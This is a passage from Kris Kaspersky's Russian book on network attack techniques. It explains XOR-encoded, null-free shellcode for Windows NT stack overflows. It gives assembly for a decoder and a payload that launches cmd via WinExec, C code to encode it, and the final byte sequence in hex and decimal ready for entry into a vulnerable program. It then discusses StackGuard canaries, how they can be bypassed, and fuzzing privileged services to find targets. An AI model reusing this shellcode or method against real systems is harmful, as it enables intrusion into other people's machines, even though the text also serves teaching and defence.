Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК

• Название: ТЕХНИКА СЕТЕВЫХ АТАК
• Автор: Крис Касперский
• Жанр: Программы

---

Другое преимущество декодера заключается в упрощении кода, поскольку теперь не требуется «ломать голову», пытаясь избавится от вездесущих нулей. Например, следующая конструкция позволяет создавать мобильный код, работающий независимо от того, где он расположен в памяти:

· 00000000: E8 00 00 00 00 call 000000005

· 00000005: 58 pop eax

Вызов CALL 0x5 заносит в стек значение регистра указателя команд, который содержит смещение следующей инструкции, а инструкция EAX выталкивает его из стека. Теперь появляется возможность адресовать все смещения, используя EAX (или любой другой регистр) в качестве базы.

Но вызов “CALL 0x5” содержит четыре нулевых байта, поэтому должен быть переписан таким образом, в нем не встретилось ни одного нуля. Один из возможных вариантов показан ниже:

· 00000000: EB03 jmps 000000005

· 00000002: 58 pop eax

· 00000003: EB05 jmps 00000000A

· 00000005: E8F8FFFFFF call 000000002

Это не только занимает много памяти, но и усложняет написание программы, поскольку постоянно приходится помнить о «злополучных» нулях и выискивать такие комбинации, где они не встречаются. А это требует очень хорошо значения ассемблера и принципа кодирования команд микропроцессора. Декодер же способен автоматически избавиться от всех нулей, упрощая написание программы.

В простейшем случае сердцем декодера может стать логическая операция XOR. Одно из ее свойств заключается в том, что A XOR B = (A XOR B) XOR B, т.е. повторное шифрование восстанавливает исходный текст.

Другое свойство XOR: A XOR A - 0, поэтому в качестве ключа шифрования необходимо выбрать такой байт, который бы ни разу не встречался в шифруемом коде, иначе он обратится в ноль, что недопустимо.

Один из вариантов расшифровщика приведен ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/xor.bin”):

· 00000000: 33 C9 xor ecx,ecx

· 00000002: 83 C1 10 add ecx,??;

· 00000005: 33 C0 xor eax,eax

· 00000007: 83 C0 10 add eax,011;

· 0000000A: 80 34 04?? xor b,[esp][eax],??;

· 0000000E: 40 inc eax

· 0000000F: E2 F9 loop 00000000A ____________________ (1)

Для обеспечения мобильности все смещения вычисляются от регистра ESP, при этом он должен указывать на начало декодера. А в регистр ECX необходимо занести длину расшифровываемого фрагмента.

Например, код, запускающий командный интерпретатор в программе buff.cmd.c (смотри дополнение «Использование срыва стека для запуска командного интерпретатора под Windows NT), переписанный с использованием декодера может выглядеть так:

· 00000000: 83 EC 30 sub esp,030;
· 00000003: 8B C4 mov eax,esp
· 00000005: 33 C9 xor ecx,ecx
· 00000007: 83 C1 13 add ecx,013;
· 0000000A: 80 70 19 90 xor b,[eax][00019],090;
· 0000000E: 40 inc eax
· 0000000F: E2 F9 loop 00000000A
· 00000011: 50 push eax
· 00000012: 83 C0 14 add eax,014;
· 00000015: 50 push eax
· 00000016: B8 01 86 E9 77 mov eax,077E98601;
· 0000001B: FF D0 call eax
· 0000001D: EB FE jmps 00000001D
· 0000001F: 63 ‘c’
· 00000020: 6D ‘m’
· 00000021: 64 ‘d’
· 00000022: 00 ‘\0’
· 00000023: 34 незначащий байт
· 00000024: 58 адрес
· 00000025: FF возв-
· 00000026: 12 рата
· 00000027: 00

Расшифровщик занимает много места и в остающееся пространство уже не удается целиком записать имя командного интерпретатора. Конечно, функция WinExec сумеет запустить файл без указания расширения, но в оставшиеся четыре байта влезет имя далеко не всякого файла. Поэтому, использование декодера в этом случае явно нецелесообразно, и приводится лишь для приведения работоспособной иллюстрации к главе.

Но полученный код еще не готов к употреблению. Со смещения 0х11 (первый расшифровываемый байт) по 0х23 (последний расшифровываемый байт) его необходимо зашифровать, выполнив над каждым байтом операцию XOR 0x90. Такой ключ шифрования выбран потому, что в шифруемом фрагменте нет ни одного байта, равного 0х90. Следовательно, в зашифрованной строке не окажется ни одного нуля. Другим недопустимым символом является код клавиши «ENTER», равный 0xD. Если он встретится во вводимой строке, система воспримет его как завершение строки и прекратит ввод.

Для шифровки можно воспользоваться любой утилитой, наподобие шестнадцатеричных редакторов QVIEW (или HIEW), но нетрудно это реализовать и на языке Си. Один из простейших вариантов приведен ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/buff.crypt.c”). Для упрощения понимания его работы никакие проверки не выполняются.

· #include «stdio.h»
·
· main()
· {
· FILE *fin,*fout;
· char buff[40];
· int a=0x11;
·
· fin=fopen("buff.raw","rb");
· fout=fopen("buff.ok","wb");
· fread( amp;buff[0],1,40,fin);
· for (;a«0x24;a++) buff[a]=buff[a] ^ 0x90;
· fwrite( amp;buff[0],1,40,fout);
· close(fin);
· close(fout);
·}
·
·

Полученный в результате шифровки файл должен выглядеть следующим образом (на диске, прилагаемом к книге, он находится в директории “/SRC” и называется “buff.ok”)

· 00000000: 83 EC 30 8B C4 33 C9 83 ¦ C1 13 80 70 19 90 40 E2 Гь0Л-3гГ+!АpvР@т

· 00000010: F9 C0 13 50 84 C0 28 91 ¦ 16 79 E7 6F 40 7B 6E F3 •L!PДL(С-yчo@{nє

· 00000020: FD F4 90 A4 58 FF 12 00 ¦ ¤ЇРдX ¦

То же самое в десятичном виде, предназначенное для ввода в компьютер с помощью клавиши Alt выглядит так:

· 131 236 048 139 196 051 201 131 193 019 128 112 025

· 144 064 226 249 192 019 080 132 192 040 145 022 121

· 231 111 064 123 110 243 253 244 144 164 088 255 018

Если все ввести правильно и без ошибок, запустится командный интерпретатор.

Дополнение. Поиск уязвимых программ.

Код, получаемый управление при срыве стека, запускается от имени и с привилегиями уязвимой программы. Отсюда, наибольший интерес представляют программы, обладающие наивысшими привилегиями (системные сервисы, демоны и т.д.). Это значительно сужает круг поиска и ограничивает количество потенциальных кандидатов в жертвы.

Врезка «замечание» *

Существует некоторые методы, позволяющие предотвратить последствия срыва стека, даже при наличии грубых ошибок реализации. В главах, посвященных безопасности операционных систем UNIX и Windows NT, отмечалось, что все они разрешают выполнение кода в стеке, и поэтому потенциально уязвимы, или же, другими словами, чувствительны к ошибкам программного обеспечения.

На самом же деле это не совсем верно. Существуют экзотические ядра UNIX, запрещающие подобную операцию - при попытке выполнить код, размещенный в стеке, происходит исключение, и выполнение программы прерывается. Но вместе с этим перестают работать многие легальные программы, «на лету» генерирующие код и исполняющие его в стеке [330]. Но запрет на выполнение кода в стеке не затрагивает модификацию переменных, указателей, поэтому принципиальная возможность атак по-прежнему остается. Поэтому, такие ядра используются крайне редко. Тем более, вызов исключение при попытке злоумышленника проникнуть на компьютер, не самая лучшая защита [331].

Некоторые компиляторы (тот же gcc) способны генерировать код, автоматически обнаруживающий выход за границы буфера, но это вызывает снижение производительности в десятки раз и чаще всего оказывается неприемлемо.

Врезка «информация» *

В рамках проекта Synthetix (http://www.cse.ogi.edu/DISC/projects/synthetix) удалось найти несколько простых и надежных решений, затрудняющих атаки, основанные на срыве стека. Например, “StackGuard” - одна из «заплат» к компилятору gcc, дополняет пролог и эпилог каждой из функций, особым кодом, контролирующим целостность адреса возврата. Алгоритм в общих чертах следующий: в стек вместе с адресом возврата заносится, так называемый, “Canary Word”, расположенный до адреса возврата. Искажение адреса возврата обычно сопровождается и искажением Canary Word, что легко проконтролировать. Соль в том, что Canary Word содержит символы “\0”, CR, LF, EOF, которые не могут быть обычным путем введены с клавиатуры. А для усиления защиты добавляется случайная привязка, генерируемая при каждом запуске программы.

Такая мера действительно затрудняет атаки, но не исключает их принципиальную возможность. Существует возможность перезаписи любой области памяти как искажением регистра EBP, используемого для адресации локальные переменных, так и модификацией переменных указателей. Этого StackGuard отследить не в силах. Кроме того, если происходит переполнение буферов, в которых помещается информация, считанная из двоичного файла или принятая по сети, то отсутствует всякое ограничение на передаваемые в строке символы. А узнать значение привязки можно, например, с помощью уязвимости в функции printf (и подобным ей) и т.д.

Существуют различные способы поиска уязвимых программ. Например, с помощью дизассемблирования и тщательного изучения кода, или тривиального ввода строк переменной длины. Как уже отмечалось в главе «Технология срыва стека» недостаточно ограничится вводом максимально длинных строк. Необходимо перебирать все длины от нулевой до максимально возможной.

Манипуляция со строками разной длины - наиболее простой (но не всегда действенный) путь. Если удается подобрать строку, вызывающую исключение, то, следовательно, исследуемая программа содержит уязвимость. Но вовсе не факт, что удастся передать управление на свой код, изменить адрес возврата или каким-то иным способом проникнуть на атакуемую машину. В некоторых случаях ошибки переполнения приводят к возможности блокирования программы, но не позволяют злоумышленнику совершить никакие осмысленные действия.